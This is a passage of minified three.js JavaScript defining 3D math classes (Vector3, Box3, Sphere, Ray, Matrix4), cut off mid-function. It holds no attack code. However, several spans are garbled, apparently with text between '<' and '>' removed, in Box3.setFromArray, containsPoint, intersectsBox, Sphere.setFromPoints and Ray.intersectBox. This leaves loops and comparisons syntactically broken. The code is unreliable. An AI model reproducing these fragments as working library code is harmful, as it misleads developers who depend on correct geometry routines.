0!==e?(console.warn("THREE.Vector3: .sub() now only accepts one argument. Use .subVectors( a, b ) instead."),this.subVectors(t,e)):(this.x-=t.x,this.y-=t.y,this.z-=t.z,this)}subScalar(t){return this.x-=t,this.y-=t,this.z-=t,this}subVectors(t,e){return this.x=t.x-e.x,this.y=t.y-e.y,this.z=t.z-e.z,this}multiply(t,e){return void 0!==e?(console.warn("THREE.Vector3: .multiply() now only accepts one argument. Use .multiplyVectors( a, b ) instead."),this.multiplyVectors(t,e)):(this.x*=t.x,this.y*=t.y,this.z*=t.z,this)}multiplyScalar(t){return this.x*=t,this.y*=t,this.z*=t,this}multiplyVectors(t,e){return this.x=t.x*e.x,this.y=t.y*e.y,this.z=t.z*e.z,this}applyEuler(t){return t&&t.isEuler||console.error("THREE.Vector3: .applyEuler() now expects an Euler rotation rather than a Vector3 and order."),this.applyQuaternion(bt.setFromEuler(t))}applyAxisAngle(t,e){return this.applyQuaternion(bt.setFromAxisAngle(t,e))}applyMatrix3(t){const e=this.x,n=this.y,i=this.z,r=t.elements;return this.x=r[0]*e+r[3]*n+r[6]*i,this.y=r[1]*e+r[4]*n+r[7]*i,this.z=r[2]*e+r[5]*n+r[8]*i,this}applyNormalMatrix(t){return this.applyMatrix3(t).normalize()}applyMatrix4(t){const e=this.x,n=this.y,i=this.z,r=t.elements,s=1/(r[3]*e+r[7]*n+r[11]*i+r[15]);return this.x=(r[0]*e+r[4]*n+r[8]*i+r[12])*s,this.y=(r[1]*e+r[5]*n+r[9]*i+r[13])*s,this.z=(r[2]*e+r[6]*n+r[10]*i+r[14])*s,this}applyQuaternion(t){const e=this.x,n=this.y,i=this.z,r=t.x,s=t.y,a=t.z,o=t.w,l=o*e+s*i-a*n,c=o*n+a*e-r*i,h=o*i+r*n-s*e,u=-r*e-s*n-a*i;return this.x=l*o+u*-r+c*-a-h*-s,this.y=c*o+u*-s+h*-r-l*-a,this.z=h*o+u*-a+l*-s-c*-r,this}project(t){return this.applyMatrix4(t.matrixWorldInverse).applyMatrix4(t.projectionMatrix)}unproject(t){return this.applyMatrix4(t.projectionMatrixInverse).applyMatrix4(t.matrixWorld)}transformDirection(t){const e=this.x,n=this.y,i=this.z,r=t.elements;return this.x=r[0]*e+r[4]*n+r[8]*i,this.y=r[1]*e+r[5]*n+r[9]*i,this.z=r[2]*e+r[6]*n+r[10]*i,this.normalize()}divide(t){return this.x/=t.x,this.y/=t.y,this.z/=t.z,this}divideScalar(t){return this.multiplyScalar(1/t)}min(t){return this.x=Math.min(this.x,t.x),this.y=Math.min(this.y,t.y),this.z=Math.min(this.z,t.z),this}max(t){return this.x=Math.max(this.x,t.x),this.y=Math.max(this.y,t.y),this.z=Math.max(this.z,t.z),this}clamp(t,e){return this.x=Math.max(t.x,Math.min(e.x,this.x)),this.y=Math.max(t.y,Math.min(e.y,this.y)),this.z=Math.max(t.z,Math.min(e.z,this.z)),this}clampScalar(t,e){return this.x=Math.max(t,Math.min(e,this.x)),this.y=Math.max(t,Math.min(e,this.y)),this.z=Math.max(t,Math.min(e,this.z)),this}clampLength(t,e){const n=this.length();return this.divideScalar(n||1).multiplyScalar(Math.max(t,Math.min(e,n)))}floor(){return this.x=Math.floor(this.x),this.y=Math.floor(this.y),this.z=Math.floor(this.z),this}ceil(){return this.x=Math.ceil(this.x),this.y=Math.ceil(this.y),this.z=Math.ceil(this.z),this}round(){return this.x=Math.round(this.x),this.y=Math.round(this.y),this.z=Math.round(this.z),this}roundToZero(){return this.x=this.x<0?Math.ceil(this.x):Math.floor(this.x),this.y=this.y<0?Math.ceil(this.y):Math.floor(this.y),this.z=this.z<0?Math.ceil(this.z):Math.floor(this.z),this}negate(){return this.x=-this.x,this.y=-this.y,this.z=-this.z,this}dot(t){return this.x*t.x+this.y*t.y+this.z*t.z}lengthSq(){return this.x*this.x+this.y*this.y+this.z*this.z}length(){return Math.sqrt(this.x*this.x+this.y*this.y+this.z*this.z)}manhattanLength(){return Math.abs(this.x)+Math.abs(this.y)+Math.abs(this.z)}normalize(){return this.divideScalar(this.length()||1)}setLength(t){return this.normalize().multiplyScalar(t)}lerp(t,e){return this.x+=(t.x-this.x)*e,this.y+=(t.y-this.y)*e,this.z+=(t.z-this.z)*e,this}lerpVectors(t,e,n){return this.x=t.x+(e.x-t.x)*n,this.y=t.y+(e.y-t.y)*n,this.z=t.z+(e.z-t.z)*n,this}cross(t,e){return void 0!==e?(console.warn("THREE.Vector3: .cross() now only accepts one argument. Use .crossVectors( a, b ) instead."),this.crossVectors(t,e)):this.crossVectors(this,t)}crossVectors(t,e){const n=t.x,i=t.y,r=t.z,s=e.x,a=e.y,o=e.z;return this.x=i*o-r*a,this.y=r*s-n*o,this.z=n*a-i*s,this}projectOnVector(t){const e=t.lengthSq();if(0===e)return this.set(0,0,0);const n=t.dot(this)/e;return this.copy(t).multiplyScalar(n)}projectOnPlane(t){return _t.copy(this).projectOnVector(t),this.sub(_t)}reflect(t){return this.sub(_t.copy(t).multiplyScalar(2*this.dot(t)))}angleTo(t){const e=Math.sqrt(this.lengthSq()*t.lengthSq());if(0===e)return Math.PI/2;const n=this.dot(t)/e;return Math.acos(ot.clamp(n,-1,1))}distanceTo(t){return Math.sqrt(this.distanceToSquared(t))}distanceToSquared(t){const e=this.x-t.x,n=this.y-t.y,i=this.z-t.z;return e*e+n*n+i*i}manhattanDistanceTo(t){return Math.abs(this.x-t.x)+Math.abs(this.y-t.y)+Math.abs(this.z-t.z)}setFromSpherical(t){return this.setFromSphericalCoords(t.radius,t.phi,t.theta)}setFromSphericalCoords(t,e,n){const i=Math.sin(e)*t;return this.x=i*Math.sin(n),this.y=Math.cos(e)*t,this.z=i*Math.cos(n),this}setFromCylindrical(t){return this.setFromCylindricalCoords(t.radius,t.theta,t.y)}setFromCylindricalCoords(t,e,n){return this.x=t*Math.sin(e),this.y=n,this.z=t*Math.cos(e),this}setFromMatrixPosition(t){const e=t.elements;return this.x=e[12],this.y=e[13],this.z=e[14],this}setFromMatrixScale(t){const e=this.setFromMatrixColumn(t,0).length(),n=this.setFromMatrixColumn(t,1).length(),i=this.setFromMatrixColumn(t,2).length();return this.x=e,this.y=n,this.z=i,this}setFromMatrixColumn(t,e){return this.fromArray(t.elements,4*e)}setFromMatrix3Column(t,e){return this.fromArray(t.elements,3*e)}equals(t){return t.x===this.x&&t.y===this.y&&t.z===this.z}fromArray(t,e=0){return this.x=t[e],this.y=t[e+1],this.z=t[e+2],this}toArray(t=[],e=0){return t[e]=this.x,t[e+1]=this.y,t[e+2]=this.z,t}fromBufferAttribute(t,e,n){return void 0!==n&&console.warn("THREE.Vector3: offset has been removed from .fromBufferAttribute()."),this.x=t.getX(e),this.y=t.getY(e),this.z=t.getZ(e),this}random(){return this.x=Math.random(),this.y=Math.random(),this.z=Math.random(),this}}xt.prototype.isVector3=!0;const _t=new xt,bt=new yt;class wt{constructor(t=new xt(1/0,1/0,1/0),e=new xt(-1/0,-1/0,-1/0)){this.min=t,this.max=e}set(t,e){return this.min.copy(t),this.max.copy(e),this}setFromArray(t){let e=1/0,n=1/0,i=1/0,r=-1/0,s=-1/0,a=-1/0;for(let o=0,l=t.length;or&&(r=l),c>s&&(s=c),h>a&&(a=h)}return this.min.set(e,n,i),this.max.set(r,s,a),this}setFromBufferAttribute(t){let e=1/0,n=1/0,i=1/0,r=-1/0,s=-1/0,a=-1/0;for(let o=0,l=t.count;or&&(r=l),c>s&&(s=c),h>a&&(a=h)}return this.min.set(e,n,i),this.max.set(r,s,a),this}setFromPoints(t){this.makeEmpty();for(let e=0,n=t.length;ethis.max.x||t.ythis.max.y||t.zthis.max.z)}containsBox(t){return this.min.x<=t.min.x&&t.max.x<=this.max.x&&this.min.y<=t.min.y&&t.max.y<=this.max.y&&this.min.z<=t.min.z&&t.max.z<=this.max.z}getParameter(t,e){return void 0===e&&(console.warn("THREE.Box3: .getParameter() target is now required"),e=new xt),e.set((t.x-this.min.x)/(this.max.x-this.min.x),(t.y-this.min.y)/(this.max.y-this.min.y),(t.z-this.min.z)/(this.max.z-this.min.z))}intersectsBox(t){return!(t.max.xthis.max.x||t.max.ythis.max.y||t.max.zthis.max.z)}intersectsSphere(t){return this.clampPoint(t.center,St),St.distanceToSquared(t.center)<=t.radius*t.radius}intersectsPlane(t){let e,n;return t.normal.x>0?(e=t.normal.x*this.min.x,n=t.normal.x*this.max.x):(e=t.normal.x*this.max.x,n=t.normal.x*this.min.x),t.normal.y>0?(e+=t.normal.y*this.min.y,n+=t.normal.y*this.max.y):(e+=t.normal.y*this.max.y,n+=t.normal.y*this.min.y),t.normal.z>0?(e+=t.normal.z*this.min.z,n+=t.normal.z*this.max.z):(e+=t.normal.z*this.max.z,n+=t.normal.z*this.min.z),e<=-t.constant&&n>=-t.constant}intersectsTriangle(t){if(this.isEmpty())return!1;this.getCenter(Dt),It.subVectors(this.max,Dt),Et.subVectors(t.a,Dt),At.subVectors(t.b,Dt),Lt.subVectors(t.c,Dt),Rt.subVectors(At,Et),Ct.subVectors(Lt,At),Pt.subVectors(Et,Lt);let e=[0,-Rt.z,Rt.y,0,-Ct.z,Ct.y,0,-Pt.z,Pt.y,Rt.z,0,-Rt.x,Ct.z,0,-Ct.x,Pt.z,0,-Pt.x,-Rt.y,Rt.x,0,-Ct.y,Ct.x,0,-Pt.y,Pt.x,0];return!!Ot(e,Et,At,Lt,It)&&(e=[1,0,0,0,1,0,0,0,1],!!Ot(e,Et,At,Lt,It)&&(Nt.crossVectors(Rt,Ct),e=[Nt.x,Nt.y,Nt.z],Ot(e,Et,At,Lt,It)))}clampPoint(t,e){return void 0===e&&(console.warn("THREE.Box3: .clampPoint() target is now required"),e=new xt),e.copy(t).clamp(this.min,this.max)}distanceToPoint(t){return St.copy(t).clamp(this.min,this.max).sub(t).length()}getBoundingSphere(t){return void 0===t&&console.error("THREE.Box3: .getBoundingSphere() target is now required"),this.getCenter(t.center),t.radius=.5*this.getSize(St).length(),t}intersect(t){return this.min.max(t.min),this.max.min(t.max),this.isEmpty()&&this.makeEmpty(),this}union(t){return this.min.min(t.min),this.max.max(t.max),this}applyMatrix4(t){return this.isEmpty()||(Mt[0].set(this.min.x,this.min.y,this.min.z).applyMatrix4(t),Mt[1].set(this.min.x,this.min.y,this.max.z).applyMatrix4(t),Mt[2].set(this.min.x,this.max.y,this.min.z).applyMatrix4(t),Mt[3].set(this.min.x,this.max.y,this.max.z).applyMatrix4(t),Mt[4].set(this.max.x,this.min.y,this.min.z).applyMatrix4(t),Mt[5].set(this.max.x,this.min.y,this.max.z).applyMatrix4(t),Mt[6].set(this.max.x,this.max.y,this.min.z).applyMatrix4(t),Mt[7].set(this.max.x,this.max.y,this.max.z).applyMatrix4(t),this.setFromPoints(Mt)),this}translate(t){return this.min.add(t),this.max.add(t),this}equals(t){return t.min.equals(this.min)&&t.max.equals(this.max)}}wt.prototype.isBox3=!0;const Mt=[new xt,new xt,new xt,new xt,new xt,new xt,new xt,new xt],St=new xt,Tt=new wt,Et=new xt,At=new xt,Lt=new xt,Rt=new xt,Ct=new xt,Pt=new xt,Dt=new xt,It=new xt,Nt=new xt,Bt=new xt;function Ot(t,e,n,i,r){for(let s=0,a=t.length-3;s<=a;s+=3){Bt.fromArray(t,s);const a=r.x*Math.abs(Bt.x)+r.y*Math.abs(Bt.y)+r.z*Math.abs(Bt.z),o=e.dot(Bt),l=n.dot(Bt),c=i.dot(Bt);if(Math.max(-Math.max(o,l,c),Math.min(o,l,c))>a)return!1}return!0}const zt=new wt,Ft=new xt,Ht=new xt,Ut=new xt;class Gt{constructor(t=new xt,e=-1){this.center=t,this.radius=e}set(t,e){return this.center.copy(t),this.radius=e,this}setFromPoints(t,e){const n=this.center;void 0!==e?n.copy(e):zt.setFromPoints(t).getCenter(n);let i=0;for(let e=0,r=t.length;ethis.radius*this.radius&&(e.sub(this.center).normalize(),e.multiplyScalar(this.radius).add(this.center)),e}getBoundingBox(t){return void 0===t&&(console.warn("THREE.Sphere: .getBoundingBox() target is now required"),t=new wt),this.isEmpty()?(t.makeEmpty(),t):(t.set(this.center,this.center),t.expandByScalar(this.radius),t)}applyMatrix4(t){return this.center.applyMatrix4(t),this.radius=this.radius*t.getMaxScaleOnAxis(),this}translate(t){return this.center.add(t),this}expandByPoint(t){Ut.subVectors(t,this.center);const e=Ut.lengthSq();if(e>this.radius*this.radius){const t=Math.sqrt(e),n=.5*(t-this.radius);this.center.add(Ut.multiplyScalar(n/t)),this.radius+=n}return this}union(t){return Ht.subVectors(t.center,this.center).normalize().multiplyScalar(t.radius),this.expandByPoint(Ft.copy(t.center).add(Ht)),this.expandByPoint(Ft.copy(t.center).sub(Ht)),this}equals(t){return t.center.equals(this.center)&&t.radius===this.radius}clone(){return(new this.constructor).copy(this)}}const kt=new xt,Vt=new xt,Wt=new xt,jt=new xt,qt=new xt,Xt=new xt,Yt=new xt;class Zt{constructor(t=new xt,e=new xt(0,0,-1)){this.origin=t,this.direction=e}set(t,e){return this.origin.copy(t),this.direction.copy(e),this}copy(t){return this.origin.copy(t.origin),this.direction.copy(t.direction),this}at(t,e){return void 0===e&&(console.warn("THREE.Ray: .at() target is now required"),e=new xt),e.copy(this.direction).multiplyScalar(t).add(this.origin)}lookAt(t){return this.direction.copy(t).sub(this.origin).normalize(),this}recast(t){return this.origin.copy(this.at(t,kt)),this}closestPointToPoint(t,e){void 0===e&&(console.warn("THREE.Ray: .closestPointToPoint() target is now required"),e=new xt),e.subVectors(t,this.origin);const n=e.dot(this.direction);return n<0?e.copy(this.origin):e.copy(this.direction).multiplyScalar(n).add(this.origin)}distanceToPoint(t){return Math.sqrt(this.distanceSqToPoint(t))}distanceSqToPoint(t){const e=kt.subVectors(t,this.origin).dot(this.direction);return e<0?this.origin.distanceToSquared(t):(kt.copy(this.direction).multiplyScalar(e).add(this.origin),kt.distanceToSquared(t))}distanceSqToSegment(t,e,n,i){Vt.copy(t).add(e).multiplyScalar(.5),Wt.copy(e).sub(t).normalize(),jt.copy(this.origin).sub(Vt);const r=.5*t.distanceTo(e),s=-this.direction.dot(Wt),a=jt.dot(this.direction),o=-jt.dot(Wt),l=jt.lengthSq(),c=Math.abs(1-s*s);let h,u,d,p;if(c>0)if(h=s*o-a,u=s*a-o,p=r*c,h>=0)if(u>=-p)if(u<=p){const t=1/c;h*=t,u*=t,d=h*(h+s*u+2*a)+u*(s*h+u+2*o)+l}else u=r,h=Math.max(0,-(s*u+a)),d=-h*h+u*(u+2*o)+l;else u=-r,h=Math.max(0,-(s*u+a)),d=-h*h+u*(u+2*o)+l;else u<=-p?(h=Math.max(0,-(-s*r+a)),u=h>0?-r:Math.min(Math.max(-r,-o),r),d=-h*h+u*(u+2*o)+l):u<=p?(h=0,u=Math.min(Math.max(-r,-o),r),d=u*(u+2*o)+l):(h=Math.max(0,-(s*r+a)),u=h>0?r:Math.min(Math.max(-r,-o),r),d=-h*h+u*(u+2*o)+l);else u=s>0?-r:r,h=Math.max(0,-(s*u+a)),d=-h*h+u*(u+2*o)+l;return n&&n.copy(this.direction).multiplyScalar(h).add(this.origin),i&&i.copy(Wt).multiplyScalar(u).add(Vt),d}intersectSphere(t,e){kt.subVectors(t.center,this.origin);const n=kt.dot(this.direction),i=kt.dot(kt)-n*n,r=t.radius*t.radius;if(i>r)return null;const s=Math.sqrt(r-i),a=n-s,o=n+s;return a<0&&o<0?null:a<0?this.at(o,e):this.at(a,e)}intersectsSphere(t){return this.distanceSqToPoint(t.center)<=t.radius*t.radius}distanceToPlane(t){const e=t.normal.dot(this.direction);if(0===e)return 0===t.distanceToPoint(this.origin)?0:null;const n=-(this.origin.dot(t.normal)+t.constant)/e;return n>=0?n:null}intersectPlane(t,e){const n=this.distanceToPlane(t);return null===n?null:this.at(n,e)}intersectsPlane(t){const e=t.distanceToPoint(this.origin);if(0===e)return!0;return t.normal.dot(this.direction)*e<0}intersectBox(t,e){let n,i,r,s,a,o;const l=1/this.direction.x,c=1/this.direction.y,h=1/this.direction.z,u=this.origin;return l>=0?(n=(t.min.x-u.x)*l,i=(t.max.x-u.x)*l):(n=(t.max.x-u.x)*l,i=(t.min.x-u.x)*l),c>=0?(r=(t.min.y-u.y)*c,s=(t.max.y-u.y)*c):(r=(t.max.y-u.y)*c,s=(t.min.y-u.y)*c),n>s||r>i?null:((r>n||n!=n)&&(n=r),(s=0?(a=(t.min.z-u.z)*h,o=(t.max.z-u.z)*h):(a=(t.max.z-u.z)*h,o=(t.min.z-u.z)*h),n>o||a>i?null:((a>n||n!=n)&&(n=a),(o=0?n:i,e)))}intersectsBox(t){return null!==this.intersectBox(t,kt)}intersectTriangle(t,e,n,i,r){qt.subVectors(e,t),Xt.subVectors(n,t),Yt.crossVectors(qt,Xt);let s,a=this.direction.dot(Yt);if(a>0){if(i)return null;s=1}else{if(!(a<0))return null;s=-1,a=-a}jt.subVectors(this.origin,t);const o=s*this.direction.dot(Xt.crossVectors(jt,Xt));if(o<0)return null;const l=s*this.direction.dot(qt.cross(jt));if(l<0)return null;if(o+l>a)return null;const c=-s*jt.dot(Yt);return c<0?null:this.at(c/a,r)}applyMatrix4(t){return this.origin.applyMatrix4(t),this.direction.transformDirection(t),this}equals(t){return t.origin.equals(this.origin)&&t.direction.equals(this.direction)}clone(){return(new this.constructor).copy(this)}}class Jt{constructor(){this.elements=[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1],arguments.length>0&&console.error("THREE.Matrix4: the constructor no longer reads arguments. use .set() instead.")}set(t,e,n,i,r,s,a,o,l,c,h,u,d,p,f,m){const g=this.elements;return g[0]=t,g[4]=e,g[8]=n,g[12]=i,g[1]=r,g[5]=s,g[9]=a,g[13]=o,g[2]=l,g[6]=c,g[10]=h,g[14]=u,g[3]=d,g[7]=p,g[11]=f,g[15]=m,this}identity(){return this.set(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1),this}clone(){return(new Jt).fromArray(this.elements)}copy(t){const e=this.elements,n=t.elements;return e[0]=n[0],e[1]=n[1],e[2]=n[2],e[3]=n[3],e[4]=n[4],e[5]=n[5],e[6]=n[6],e[7]=n[7],e[8]=n[8],e[9]=n[9],e[10]=n[10],e[11]=n[11],e[12]=n[12],e[13]=n[13],e[14]=n[14],e[15]=n[15],this}copyPosition(t){const e=this.elements,n=t.elements;return e[12]=n[12],e[13]=n[13],e[14]=n[14],this}setFromMatrix3(t){const e=t.elements;return this.set(e[0],e[3],e[6],0,e[1],e[4],e[7],0,e[2],e[5],e[8],0,0,0,0,1),this}extractBasis(t,e,n){return t.setFromMatrixColumn(this,0),e.setFromMatrixColumn(this,1),n.setFromMatrixColumn(this,2),this}makeBasis(t,e,n){return this.set(t.x,e.x,n.x,0,t.y,e.y,n.y,0,t.z,e.z,n.z,0,0,0,0,1),this}extractRotation(t){const e=this.elements,n=t.elements,i=1/Qt.setFromMatrixColumn(t,0).length(),r=1/Qt.setFromMatrixColumn(t,1).length(),s=1/Qt.setFromMatrixColumn(t,2).length();return e[0]=n[0]*i,e[1]=n[1]*i,e[2]=n[2]*i,e[3]=0,e[4]=n[4]*r,e[5]=n[5]*r,e[6]=n[6]*r,e[7]=0,e[8]=n[8]*s,e[9]=n[9]*s,e[10]=n[10]*s,e[11]=0,e[12]=0,e[13]=0,e[14]=0,e[15]=1,this}makeRotationFromEuler(t){t&&t.isEuler||console.error("THREE.Matrix4: .makeRotationFromEuler() now expects a Euler rotation rather than a Vector3 and order.");const e=this.elements,n=t.x,i=t.y,r=t.z,s=Math.cos(n),a=Math.sin(n),o=Math.cos(i),l=Math.sin(i),c=Math.cos(r),h=Math.sin(r);if("XYZ"===t.order){const t=s*c,n=s*h,i=a*c,r=a*h;e[0]=o*c,e[4]=-o*h,e[8]=l,e[1]=n+i*l,e[5]=t-r*l,e[9]=-a*o,e[2]=r-t*l,e[6]=i+n*l,e[10]=s*o}else if("YXZ"===t.order){const t=o*c,n=o*h,i=l*c,r=l*h;e[0]=t+r*a,e[4]=i*a-n,e[8]=s*l,e[1]=s*h,e[5]=s*c,e[9]=-a,e[2]=n*a-i,e[6]=r+t*a,e[10]=s*o}else if("ZXY"===t.order){const t=o*c,n=o*h,i=l*c,r=l*h;e[0]=t-r*a,e[4]=-s*h,e[8]=i+n*a,e[1]=n+i*a,e[5]=s*c,e[9]=r-t*a,e[2]=-s*l,e[6]=a,e[10]=s*o}else if("ZYX"===t.order){const t=s*c,n=s*h,i=a*c,r=a*h;e[0]=o*c,e[4]=i*l-n,e[8]=t*l+r,e[1]=o*h,e[5]=r*l+t,e[9]=n*l-i,e[2]=-l,e[6]=a*o,e[10]=s*o}else if("YZX"===t.order){const t=s*o,n=s*l,i=a*o,r=a*l;e[0]=o*c,e[4]=r-t*h,e[8]=i*h+n,e[1]=h,e[5]=s*c,e[9]=-a*c,e[2]=-l*c,e[6]=n*h+i,e[10]=t-r*h}else if("XZY"===t.order){const t=s*o,n=s*l,i=a*o,r=a*l;e[0]=o*c,e[4]=-h,e[8]=l*c,e[1]=t*h+r,e[5]=s*c,e[9]=n*h-i,e[2]=i*h-n,e[6]=a*c,e[10]=r*h+t}return e[3]=0,e[7]=0,e[11]=0,e[12]=0,e[13]=0,e[14]=0,e[15]=1,this}makeRotationFromQuaternion(t){return this.compose($t,t,te)}lookAt(t,e,n){const i=this.elements;return ie.subVectors(t,e),0===ie.lengthSq()&&(ie.z=1),ie.normalize(),ee.crossVectors(n,ie),0===ee.lengthSq()&&(1===Math.abs(n.z)?ie.x+=1e-4:ie.z+=1e-4,ie.normalize(),ee.crossVectors(n,ie)),ee.normalize(),ne.crossVectors(ie,ee),i[0]=ee.x,i[4]=ne.x,i[8]=ie.x,i[1]=ee.y,i[5]=ne.y,i[9]=ie.y,i[2]=ee.z,i[6]=ne.z,i[10]=ie.z,this}multiply(t,e){return void 0!==e?(console.warn("THREE.Matrix4: .multiply() now only accepts one argument. Use .multiplyMatrices( a, b ) instead."),this.multiplyMatrices(t,e)):this.multiplyMatrices(this,t)}premultiply(t){return this.multiplyMatrices(t,this)}multiplyMatrices(t,e){const n=t.elements,i=e.elements,r=this.elements,s=n[0],a=n[4],o=n[8],l=n[12],c=n[1],h=n[5],u=n[9],d=n[13],p=n[2],f=n[6],m=n[10],g=n[14],v=n[3],y=n[7],x=n[11],_=n[15],b=i[0],w=i[4],M=i[8],S=i[12],T=i[1],E=i[5],A=i[9],L=i[13],R=i[2],C=i[6],P=i[10],D=i[14],I=i[3],N=i[7],B=i[11],O=i[15];return r[0]=s*b+a*T+o*R+l*I,r[4]=s*w+a*E+o*C+l*N,r[8]=s*M+a*A+o*P+l*B,r[12]=s*S+a*L+o*D+l*O,r[1]=c*b+h*T+u*R+d*I,r[5]=c*w+h*E+u*C+d*N,r[9]=c*M+h*A+u*P+d*B,r[13]=c*S+h*L+u*D+d*O,r[2]=p*b+f*T+m*R+g*I,r[6]=p*w+f*E+m*C+g*N,r[10]=p*M+f*A+m*P+g*B,r[14]=p*S+f*L+m*D+g*O,r[3]=v*b+y*T+x*R+_*I,r[7]=v*w+y*E+x*C+_*N,r[11]=v*M+y*A+x*P+_*B,r[15]=v*S+y*L+x*D+_*O,this}multiplyScalar(t){const e=this.elements;return e[0]*=t,e[4]*=t,e[8]*=t,e[12]*=t,e[1]*=t,e[5]*=t,e[9]*=t,e[13]*=t,e[2]*=t,e[6]*=t,e[10]*=t,e[14]*=t,e[3]*=t,e[7]*=t,e[11]*=t,e[15]*=t,this}determinant(){const t=this.elements,e=t[0],n=t[4],i=t[8],r=t[12],s=t[1],a=t[5],o=t[9],l=t[13],c=t[2],h=t[6],u=t[10],d=t[14];return t[3]*(+r*o*h-i*l*h-r*a*u+n*l*u+i*a*d-n*o*d)+t[7]*(+e*o*d-e*l*u+r*s*u-i*s*d+i*l*c-r*o*c)+t[11]*(+e*l*h-e*a*d-r*s*h+n*s*d+r*a*c-n*l*c)+t[15]*(-i*a*c-e*o*h+e*a*u+i*s*h-n*s*u+n*o*c)}transpose(){const t=this.elements;let e;return e=t[1],t[1]=t[4],t[4]=e,e=t[2],t[2]=t[8],t[8]=e,e=t[6],t[6]=t[9],t[9]=e,e=t[3],t[3]=t[12],t[12]=e,e=t[7],t[7]=t[13],t[13]=e,e=t[11],t[11]=t[14],t[14]=e,this}setPosition(t,e,n){const i=this.elements;return t.isVector3?(i[12]=t.x,i[13]=t.y,i[14]=t.z):(i[12]=t,i[13]=e,i[14]=n),this}invert(){const t=this.elements,e=t[0],n=t[1],i=t[2],r=t[3],s=t[4],a=t[5],o=t[6],l=t[7],c=t[8],h=t[9],u=t[10],d=t[11],p=t[12],f=t[13],m=t[14],g=t[15],v=h*m*l-f*u*l+f*o*d-a*m*d-h*o*g+a*u*g,y=p*u*l-c*m*l-p*o*d+s*m*d+c*o*g-s*u*g,x=c*f*l-p*h*l+p*a*d-s*f*d-c*a*g+s*h*g,_=p*h*o-c*f*o-p*a*u+s*f*u+c*a*m-s*h*m,b=e*v+n*y+i*x+r*_;if(0===b)return this.set(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0);const w=1/b;return t[0]=v*w,t[1]=(f*u*r-h*m*r-f*i*d+n*m*d+h*i*g-n*u*g)*w,t[2]=(a*m*r-f*o*r+f*i*l-n*m*l-a*i*g+n*o*g)*w,t[3]=(h*o*r-a*u*r-h*i*l+n*u*l+a*i*d-n*o*d)*w,t[4]=y*w,t[5]=(c*m*r-p*u*r+p*i*d-e*m*d-c*i*g+e*u*g)*w,t[6]=(p*o*r-s*m*r-p*i*l+e*m*l+s*i*g-e*o*g)*w,t[7]=(s*u*r-c*o*r+c*i*l-e*u*l-s*i*d+e*o*d)*w,t[8]=x*w,t[9]=(p*h*r-c*f*r-p*n*d+e*f*d+c*n*g-e*h*g)*w,t[10]=(s*f*r-p*a*r+p*n*l-e*f*l-s*n*g+e*a*g)*w,t[11]=(c*a*r-s*h*r-c*n*l+e*h*l+s*n*d-e*a*d)*w,t[12]=_*w,t[13]=(c*f*i-p*h*i+p*n*u-e*f*u-c*n*m+e*h*m)*w,t[14]=(p*a*i-s*f*i-p*n*o+e*f*o+s*n*m-e*a*m)*w,t[15]=(s*h*i-c*a*i+c*n*o-e*h*o-s*n*u+e*a*u)*w,this}scale(t){const e=this.elements,n=t.x,i=t.y,r=t.z;return e[0]*=n,e[4]*=i,e[8]*=r,e[1]*=n,e[5]*=i,e[9]*=r,e[2]*=n,e[6]*=i,e[10]*=r,e[3]*=n,e[7]*=i,e[11]*=r,this}getMaxScaleOnAxis(){const t=this.elements,e=t[0]*t[0]+t[1]*t[1]+t[2]*t[2],n=t[4]*t[4]+t[5]*t[5]+t[6]*t[6],i=t[8]*t[8]+t[9]*t[9]+t[10]*t[10];return Math.sqrt(Math.max(e,n,i))}makeTranslation(t,e,n){return this.set(1,0,0,t,0,1,0,e,0,0,1,n,0,0,0,1),this}makeRotationX(t){const e=Math.cos(t),n=Math.sin(t);return this.set(1,0,0,0,0,e,-n,0,0,n,e,0,0,0,0,1),this}makeRotationY(t){const e=Math.cos(t),n=Math.sin(t);return this.set(e,0,n,0,0,1,0,0,-n,0,e,0,0,0,0,1),this}makeRotationZ(t){const e=Math.cos(t),n=Math.sin(t);return this.set(e,-n,0,0,n,e,0,0,0,0,1,0,0,0,0,1),this}makeRotationAxis(t,e){const n=Math.cos(e),i=Math.sin(e),r=1-n,s=t.x,a=t.y,o=t.z,l=r*s,c=r*a;return this.set(l*s+n,l*a-i*o,l*o+i*a,0,l*a+i*o,c*a+n,c*o-i*s,0,l*o-i*a,c*o+i*s,r*o*o+n,0,0,0,0,1),this}makeScale(t,e,n){return this.set(t,0,0,0,0,e,0,0,0,0,n,0,0,0,0,1),this}makeShear(t,e,n){return this.set(1,e,n,0,t,1,n,0,t,e,1,0,0,0,0,1),this}compose(t,e,n){const i=this.elements,r=e._x,s=e._y,a=e._z,o=e._w,l=r+r,c=s+s,h=a+a,u=r*l,d=r*c,p=r*h,f=s*c,m=s*h,g=a*h,v=o*l,y=o*c,x=o*h,_=n.x,b=n.y,w=n.z;return i[0]=(1-(f+g))*_,i[1]=(d+x)*_,i[2]=(p-y)*_,i[3]=0,i[4]=(d-x)*b,i[5]=(1-(u+g))*b,i[6]=(m+v)*b,i[7]=0,i[8]=(p+y)*w,i[9]=(m-v)*w,i[10]=(1-(u+f))*w,i[11]=0,i[12]=t.x,i[13]=t.y,i[14]=t.z,i[15]=1,this}decompose(t,e,n){const i=this.elements;let r=Qt.set(i[0],i[1],i[2]).length();const s=Qt.set(i[4],i[5],i[6]).length(),a=Qt.set(i[8],i[9],i[10]).length();this.determinant()<0&&(r=-r),t.x=i[12],t.y=i[13],t.z=i[14],Kt.copy(this);const o=1/r,l=1/s,c=1/a;return Kt.elements[0]*=o,Kt.elements[1]*=o,Kt.elements[2]*=o,Kt.elements[4]*=l,Kt.elements[5]*=l,Kt.elements[6]*=l,Kt.elements[8]*=c,Kt.elements[9]*=c,Kt.elements[10]*=c,e.setFromRotationMatrix(Kt),n.x=r,n.y=s,n.z=a,this}makePerspective(t,e,n,i,r,s){void 0===s&&console.warn("THREE.Matrix4: .makePerspective() has been redefined and has a new signature. Please check the docs.");const a=this.elements,o=2*r/(e-t),l=2*r/(n-i),c=(e+t)/(e-t),h=(n+i)/(n-i),u=-(s+r)/(s-r),d=-2*s*r/(s-r);return a[0]=o,a[4]=0,a[8]=c,a[12]=0,a[1]=0,a[5]=l,a[9]=h,a[13]=0,a[2]=0,a[6]=0,a[10]=u,a[14]=d,a[3]=0,a[7]=0,a[11]=-1,a[15]=0,this}makeOrthographic(t,e,n,i,r,s){const a=this.elements,o=1/(e-t),l=1/(n-i),c=1/(s-r),h=(e+t)*o,u=(n+i)*l,d=(s+r)*c;return 